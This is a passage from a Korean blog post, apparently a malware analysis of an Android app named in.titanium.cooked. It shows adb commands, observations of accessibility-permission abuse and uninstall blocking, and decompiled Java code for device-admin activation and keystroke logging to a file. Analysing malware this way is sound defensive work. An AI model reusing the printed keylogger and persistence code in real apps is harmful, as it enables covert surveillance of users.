&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패키지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;pm list packages -f&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;46&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tH4HQ/btsCQ2r3Z9Q/MVpxIf26KSD5BkSXJgl2vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tH4HQ/btsCQ2r3Z9Q/MVpxIf26KSD5BkSXJgl2vK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tH4HQ/btsCQ2r3Z9Q/MVpxIf26KSD5BkSXJgl2vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtH4HQ%2FbtsCQ2r3Z9Q%2FMVpxIf26KSD5BkSXJgl2vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;46&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;46&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메인 액티비티 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;pm dump in.titanium.cooked&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btnDBQ/btsCMzxCGI6/kSdWn7EDCeQ9oReTsXWnuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btnDBQ/btsCMzxCGI6/kSdWn7EDCeQ9oReTsXWnuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btnDBQ/btsCMzxCGI6/kSdWn7EDCeQ9oReTsXWnuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtnDBQ%2FbtsCMzxCGI6%2FkSdWn7EDCeQ9oReTsXWnuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;749&quot; height=&quot;314&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 액티비티 경로 : in.titanium.cooked/in.titanium.MainActive&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;앱 실행 명령어&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;adb shell am start -n in.titanium.cooked/in.titanium.MainActive&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1549&quot; data-origin-height=&quot;926&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzYFW7/btsCJhxHUKd/z2TJvlv15hmDJdElPwlKh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzYFW7/btsCJhxHUKd/z2TJvlv15hmDJdElPwlKh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzYFW7/btsCJhxHUKd/z2TJvlv15hmDJdElPwlKh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzYFW7%2FbtsCJhxHUKd%2Fz2TJvlv15hmDJdElPwlKh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1549&quot; height=&quot;926&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1549&quot; data-origin-height=&quot;926&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YzkTU/btsCQ3R2GtU/3hVcSK1ZVf9KYT4Bk8mDNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YzkTU/btsCQ3R2GtU/3hVcSK1ZVf9KYT4Bk8mDNK/img.png&quot; data-alt=&quot;알림 창 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YzkTU/btsCQ3R2GtU/3hVcSK1ZVf9KYT4Bk8mDNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYzkTU%2FbtsCQ3R2GtU%2F3hVcSK1ZVf9KYT4Bk8mDNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1070&quot; height=&quot;538&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;알림 창 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행함과 동시에 앱에 대한 알림창이 생성되며 알림 창을 터치할시 존재하지 않는 앱이라는 응답이 돌아온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TmaK0/btsCMpIEmvU/akY1lkUTbhl8l4mbBqygo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TmaK0/btsCMpIEmvU/akY1lkUTbhl8l4mbBqygo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TmaK0/btsCMpIEmvU/akY1lkUTbhl8l4mbBqygo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTmaK0%2FbtsCMpIEmvU%2FakY1lkUTbhl8l4mbBqygo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1023&quot; height=&quot;830&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 앱의 어느 부분을 터치하던 접근성 허용 설정 화면으로 넘어가게 되며&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;1494&quot; data-origin-height=&quot;361&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/laVWU/btsCRgKzVL8/zoCvPKFryNcG5cfVlS7v40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/laVWU/btsCRgKzVL8/zoCvPKFryNcG5cfVlS7v40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/laVWU/btsCRgKzVL8/zoCvPKFryNcG5cfVlS7v40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlaVWU%2FbtsCRgKzVL8%2FzoCvPKFryNcG5cfVlS7v40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1494&quot; height=&quot;361&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;1494&quot; data-origin-height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mG8bb/btsCJkHVXHb/bteCrapoKpkHekAB5gHxCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mG8bb/btsCJkHVXHb/bteCrapoKpkHekAB5gHxCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mG8bb/btsCJkHVXHb/bteCrapoKpkHekAB5gHxCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmG8bb%2FbtsCJkHVXHb%2FbteCrapoKpkHekAB5gHxCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1526&quot; height=&quot;784&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접근성 사용함을 누르자마자 갑자기 7가지 권한이 허용되더니 앱이 꺼졌다&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;정적 분석(Android 기기 관리자(Device Policy Manager)를 활성화하기 위한 코드)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;startActivityForResult함수는 디바이스 관리자 활성화 화면을 시작하며 결과 코드로 여기서는 0을 사용하고 있다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;in.titanium/p0002/C14_AA

@Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        try {
            try {
                getApplicationContext();
                C38.q = (DevicePolicyManager) getSystemService(&quot;device_policy&quot;);
                C38.r = new ComponentName(this, C7_AR.class);
            } catch (Exception unused) {
                Boolean bool = Boolean.TRUE;
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
            }
            if (!C38.q.isAdminActive(C38.r)) {
                C72.k = Boolean.TRUE;
                Intent intent = new Intent(&quot;android.app.action.ADD_DEVICE_ADMIN&quot;);
                intent.putExtra(&quot;android.app.extra.DEVICE_ADMIN&quot;, C38.r);
                intent.putExtra(&quot;android.app.extra.ADD_EXPLANATION&quot;, d.p(&quot;Click on Activate buttonlocale༇rpm༲plಊscientistཝrefrigeratorཪipsཕunderstandingකxanax།textbookಮfuดeauཊapproachಃexceptionྙmfgถcoastಓamazonකcallsཛྷcouplesཇhonorྒapartmentsྰassists༙narrow༩jerusalemඃmailsཌexemptionིanotherඋrapidlyཟexpansionೇpaymentඤkeyถreplicaകrender್transmissionخzimbabwe༪definingདnowhere༓explorerൈmaළlindsayിskatingདlyricඑdragടdragฒreceiveིsmell༮installationsཪpoemඑfeelingsཊzambiaྕsupervisorචhungarian༜syracuse58&quot;));
                startActivityForResult(intent, 0);
            }
        } catch (Exception unused2) {
        }
        finish();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 기기 관리자 기능을 제어하는 데 사용하는&lt;b&gt;DevicePolicyManager&lt;/b&gt;를 얻어와 &lt;b&gt;C38.q&lt;/b&gt;에 저장하고 이후 &lt;b&gt;ComponentName&lt;/b&gt;을 생성하여 C7_AR 클래스를 대상으로 하는 C38.r 를 정의 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 Android 기기 관리자가 활성화되어 있지 않은 경우 startActivityForResult함수를 통해 기기 관리자를 활성화 시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;키로거&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정적분석(로그파일 기록)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703755780841&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[in.titanium.p0002.p0013.C72.H()]

void H(String str) {
        try {
            String charSequence = DateFormat.format(&quot;yyyy-MM-dd&quot;, new Date()).toString();
            File externalStorageDirectory = Environment.getExternalStorageDirectory();
            File file = new File(externalStorageDirectory, &quot;/Config/sys/apps/log&quot;);
            File file2 = new File(externalStorageDirectory, &quot;/Config/sys/apps/log/log-&quot; + charSequence + &quot;.txt&quot;);
            if (!file.exists()) {
                file.mkdirs();
            }
            if (!file2.exists()) {
                file2.createNewFile();
            }
            String str2 = F(str) + &quot;&amp;gt;\r\n&quot;;
            BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(file2, true));
            bufferedWriter.append((CharSequence) str2);
            bufferedWriter.newLine();
            bufferedWriter.close();
        } catch (IOException | Exception unused) {
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;str을 받아 그대로 로그파일을 생성해서 BufferedWriter 로 모두 기록하는 코드이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;393&quot; data-origin-height=&quot;40&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5xXwv/btsCG4rRS7m/2YIFyD7UCZoRebKCrV43W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5xXwv/btsCG4rRS7m/2YIFyD7UCZoRebKCrV43W0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5xXwv/btsCG4rRS7m/2YIFyD7UCZoRebKCrV43W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5xXwv%2FbtsCG4rRS7m%2F2YIFyD7UCZoRebKCrV43W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;393&quot; height=&quot;40&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;393&quot; data-origin-height=&quot;40&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 adb shell로 들어가보니 로그 파일이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 파일&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cAMHO2/btsCG5jXWTa/ApC5VgsyP57FxJgbSHBG1K/log-2023-10-10.txt?attach=1&amp;amp;knm=tfile.txt&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;log-2023-10-10.txt&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.32MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;로그 파일 검증&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;base64 디코딩사이트를 통해 로그 파일을 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.base64decode.org/&quot;&gt;https://www.base64decode.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8iDfR/btsCLr0UNHB/LdFIsKZg06LnbBtZKfRtOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8iDfR/btsCLr0UNHB/LdFIsKZg06LnbBtZKfRtOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8iDfR/btsCLr0UNHB/LdFIsKZg06LnbBtZKfRtOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8iDfR%2FbtsCLr0UNHB%2FLdFIsKZg06LnbBtZKfRtOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1449&quot; height=&quot;504&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;980&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Llcsf/btsCN0Ixoeb/1cih2BFBhxz8MH5AHA08Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Llcsf/btsCN0Ixoeb/1cih2BFBhxz8MH5AHA08Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Llcsf/btsCN0Ixoeb/1cih2BFBhxz8MH5AHA08Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLlcsf%2FbtsCN0Ixoeb%2F1cih2BFBhxz8MH5AHA08Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;980&quot; height=&quot;530&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;980&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 21.png&quot; data-origin-width=&quot;1607&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zmQ24/btsCRhipD8u/Sspv7n0NoheR3jQjVBRkkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zmQ24/btsCRhipD8u/Sspv7n0NoheR3jQjVBRkkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zmQ24/btsCRhipD8u/Sspv7n0NoheR3jQjVBRkkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzmQ24%2FbtsCRhipD8u%2FSspv7n0NoheR3jQjVBRkkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1607&quot; height=&quot;526&quot; data-filename=&quot;Untitled 21.png&quot; data-origin-width=&quot;1607&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 결과 모든 이벤트들이 다 기록이 되고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;삭제 방지&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱을 삭제하는 방법중 하나는 설정의 애플리케이션을 통해 앱 삭제를 진행하는것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p5wiX/btsCODM6xBC/A8uO9ulCPpSOebKyZS9Hok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p5wiX/btsCODM6xBC/A8uO9ulCPpSOebKyZS9Hok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p5wiX/btsCODM6xBC/A8uO9ulCPpSOebKyZS9Hok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp5wiX%2FbtsCODM6xBC%2FA8uO9ulCPpSOebKyZS9Hok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1425&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 삭제하기 위해 앱 항목을 선택하게되면 자동으로 설정화면이 꺼지면서 삭제가 방해한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  이벤트 가로채기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;홈 화면으로 리다이렉팅 되기전 0.3초 안에 버튼 누르게 된다면 삭제가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 22.png&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O2rcJ/btsCMwHHiTf/5w9XKG8KukbNzKqK3UsMs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O2rcJ/btsCMwHHiTf/5w9XKG8KukbNzKqK3UsMs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O2rcJ/btsCMwHHiTf/5w9XKG8KukbNzKqK3UsMs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO2rcJ%2FbtsCMwHHiTf%2F5w9XKG8KukbNzKqK3UsMs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1475&quot; height=&quot;585&quot; data-filename=&quot;Untitled 22.png&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;adb 앱 삭제 방법&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 23.png&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;78&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/14qu6/btsCOBuVRmX/GziyRSdKmHKjmzKqoWbxeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/14qu6/btsCOBuVRmX/GziyRSdKmHKjmzKqoWbxeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/14qu6/btsCOBuVRmX/GziyRSdKmHKjmzKqoWbxeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F14qu6%2FbtsCOBuVRmX%2FGziyRSdKmHKjmzKqoWbxeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1075&quot; height=&quot;78&quot; data-filename=&quot;Untitled 23.png&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;78&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;네트워크 분석(HTTP / HTTPS) - FIDDER / BRUPSUIT&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;FIDDER (실패)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 설정을 통해 8877로 포트를 설정해준다.&lt;/p&gt;
